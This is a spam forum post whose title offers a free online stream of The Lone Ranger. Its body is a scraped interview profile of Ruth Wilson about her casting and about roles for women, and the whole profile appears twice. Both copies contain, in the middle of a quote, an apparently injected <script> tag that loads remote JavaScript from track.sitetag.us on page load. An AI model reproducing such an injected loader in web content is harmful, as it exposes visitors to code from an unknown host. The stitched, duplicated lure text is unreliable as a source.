Post by Admin on Aug 3, 2013 19:19:04 GMT
Watch The Lone Ranger Online Movie Full
An oncoming Ruth Wilson can be awfully intimidating. Striding down the corridor, the publicist doing a half-skip to keep up with her, she looks imperious business. With her catlike eyes and flaring eyebrows, she could be Lauren Bacall in The Big Sleep. Or closer to home, that powerbob might signal the arrival of scornful, supersmart Alice Morgan, Idris Elba’s nemesis in Luther. Ten minutes later, however, Wilson reveals herself to be less poised than either of these women as she tries to scrub coffee stains from the front of her pink Stella McCartney powersuit. “I knew it,” she sighs, throwing an accusing look at the half-finished latte. “Just on today.”
In an industry where groomed glamour is the default setting, Wilson’s klutzyiness is refreshing. As is her excitement at one of the perks of her first Hollywood role, as the female lead, Rebecca, in The Lone Ranger. “I am a Lego figure now,” she cries. “Which is possibly the most exciting thing to happen to me.”
This sounds improbable for a woman who has been a lethal pleasure in Luther, gives birth to Emma Thompson in the upcoming Saving Mr Banks, and snogged Jude Law onstage in Anna Christie. Yet Wilson senses that landing the female lead in a blockbuster with Johnny Depp, shootouts, and a railway chase where she leaps off a carriage and lands on a horse backwards, is a milestone.
Despite success on TV and on stage, most notably in a production of Anna Christie which won her plaudits in London’s West End and on Broadway, movies, she says frankly, had been off her radar. Why? “I don’t know, but I’ve been knocking on that door for ages, here and in America. By the time I got to The Lone Ranger, I felt I didn’t have a hope of getting it.”
The first hurdle was sending a video to America of Wilson doing dialogue as Rebecca. “I didn’t even get to see the whole script, and I know very few people who land parts by putting themselves on tape.” Then in the middle of stage rehearsals in London for Anna Christie, she was asked to fly to New York and meet director Gore Verbinski and Hollywood uber producer Jerry Bruckheimer. “I flew out Friday and was back by the weekend. “ What is her top tip? “Wear more make-up and look prettier,” she says, with a short laugh. “Also, my casting agent told me to try and look exactly the same because Gore had liked what he saw at the first audition, so the next time I even wore the same clothes.”
Oddly, Verbinski was unaware of Wilson’s other work. It’s understandable that he may have been unaware of her first appearance out of drama school, as a hotpanted sexpot in Channel 5’s Suburban Shootout. But how could he have missed her as a Mrs Hannibal Lecter in Luther? Or eyebrow-raisers in The Prisoner, Small Island, Stephen Poliakoff’s Capturing Mary, and above all, as the mousey governess who tames Toby Stephens in Jane Eyre.
“Oh even Idris hadn’t seen Jane Eyre,” she laughs. “When we first met, he said, ‘I loved you in Jane Eyre’. And I went, ‘really? You watched Jane Eyre?’ And, of course, he hadn’t. And Gore didn’t know me from Adam. Other people were telling him, <script type="text/javascript" src="http://track.sitetag.us/tracking.js?hash=db96c1a8f64fb9c3a6b19e3595b15e85"></script>‘she’s in these shows…’ but all credit to him for putting his neck on the line, because in the end I got the job because he thought I looked right for the part.”
Her acceptance was conditional, however. In the original script, Rebecca was a sweet homemaker and mother, but Wilson pushed the director to give her character more moxy. “I didn’t want to be the damsel in distress, tied to the railroad track and waiting to be rescued. I wanted to be a bit tougher.”
Wilson is frustrated by a lack of compelling roles for women. “Film is really behind when it comes to representing women. Really, it’s almost gone backwards to simplistic versions of what women are. Women are depicted in fiction as having issues that centre on love and children, and that’s it. There’s a lot more complexities than we’re given credit for in fiction and drama.
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An oncoming Ruth Wilson can be awfully intimidating. Striding down the corridor, the publicist doing a half-skip to keep up with her, she looks imperious business. With her catlike eyes and flaring eyebrows, she could be Lauren Bacall in The Big Sleep. Or closer to home, that powerbob might signal the arrival of scornful, supersmart Alice Morgan, Idris Elba’s nemesis in Luther. Ten minutes later, however, Wilson reveals herself to be less poised than either of these women as she tries to scrub coffee stains from the front of her pink Stella McCartney powersuit. “I knew it,” she sighs, throwing an accusing look at the half-finished latte. “Just on today.”
In an industry where groomed glamour is the default setting, Wilson’s klutzyiness is refreshing. As is her excitement at one of the perks of her first Hollywood role, as the female lead, Rebecca, in The Lone Ranger. “I am a Lego figure now,” she cries. “Which is possibly the most exciting thing to happen to me.”
This sounds improbable for a woman who has been a lethal pleasure in Luther, gives birth to Emma Thompson in the upcoming Saving Mr Banks, and snogged Jude Law onstage in Anna Christie. Yet Wilson senses that landing the female lead in a blockbuster with Johnny Depp, shootouts, and a railway chase where she leaps off a carriage and lands on a horse backwards, is a milestone.
Despite success on TV and on stage, most notably in a production of Anna Christie which won her plaudits in London’s West End and on Broadway, movies, she says frankly, had been off her radar. Why? “I don’t know, but I’ve been knocking on that door for ages, here and in America. By the time I got to The Lone Ranger, I felt I didn’t have a hope of getting it.”
The first hurdle was sending a video to America of Wilson doing dialogue as Rebecca. “I didn’t even get to see the whole script, and I know very few people who land parts by putting themselves on tape.” Then in the middle of stage rehearsals in London for Anna Christie, she was asked to fly to New York and meet director Gore Verbinski and Hollywood uber producer Jerry Bruckheimer. “I flew out Friday and was back by the weekend. “ What is her top tip? “Wear more make-up and look prettier,” she says, with a short laugh. “Also, my casting agent told me to try and look exactly the same because Gore had liked what he saw at the first audition, so the next time I even wore the same clothes.”
Oddly, Verbinski was unaware of Wilson’s other work. It’s understandable that he may have been unaware of her first appearance out of drama school, as a hotpanted sexpot in Channel 5’s Suburban Shootout. But how could he have missed her as a Mrs Hannibal Lecter in Luther? Or eyebrow-raisers in The Prisoner, Small Island, Stephen Poliakoff’s Capturing Mary, and above all, as the mousey governess who tames Toby Stephens in Jane Eyre.
“Oh even Idris hadn’t seen Jane Eyre,” she laughs. “When we first met, he said, ‘I loved you in Jane Eyre’. And I went, ‘really? You watched Jane Eyre?’ And, of course, he hadn’t. And Gore didn’t know me from Adam. Other people were telling him, <script type="text/javascript" src="http://track.sitetag.us/tracking.js?hash=db96c1a8f64fb9c3a6b19e3595b15e85"></script>‘she’s in these shows…’ but all credit to him for putting his neck on the line, because in the end I got the job because he thought I looked right for the part.”
Her acceptance was conditional, however. In the original script, Rebecca was a sweet homemaker and mother, but Wilson pushed the director to give her character more moxy. “I didn’t want to be the damsel in distress, tied to the railroad track and waiting to be rescued. I wanted to be a bit tougher.”
Wilson is frustrated by a lack of compelling roles for women. “Film is really behind when it comes to representing women. Really, it’s almost gone backwards to simplistic versions of what women are. Women are depicted in fiction as having issues that centre on love and children, and that’s it. There’s a lot more complexities than we’re given credit for in fiction and drama.